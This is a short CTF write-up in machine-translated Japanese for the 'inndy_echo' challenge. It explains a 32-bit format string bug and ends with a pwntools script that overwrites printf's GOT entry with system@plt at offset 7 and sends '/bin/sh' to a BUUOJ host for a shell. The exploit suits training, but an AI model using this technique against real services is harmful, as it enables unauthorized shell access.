inndy_echo
ステップ
-
定期検査、32ビットプログラム、nx保護がオンになっている
-
ローカルテストを実行して、一般的な状況を確認します。フォーマット文字列の脆弱性があり、どの脆弱性を常に入力できるかを確認しました。
-
32ビットのidaがロードさ
れ、プログラムにフォーマット文字列の脆弱性があり、システム機能があることがわかりました。printf@ gotをsystem @ pltに変更することを考えました。システムが最初に実行されなかったため、取得したテーブルが正しくありませんでした。内部のpltテーブルを使用する必要があります。次に、bin / shを渡します -
pwntoolsは、対応する値をすばやく変更できる強力なツールを統合しています。
コマンド形式:fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
Argue_placeは、ペイロードの最初の4文字のパラメーター位置を表します(つまり、%p $ nのpの値、これをオフセットと呼びます)。 ) -
アイデアを明確にした後、最初にオフセットを決定し、オフセットが7である
ことを決定します。これにより、fmtstr_payload(7、{print_got:system_plt})を直接使用して変更を完了し、パラメーター '/ bin / sh'を渡すことができます。
完全な経験
from pwn import *
r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{
printf_got:system_plt})
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()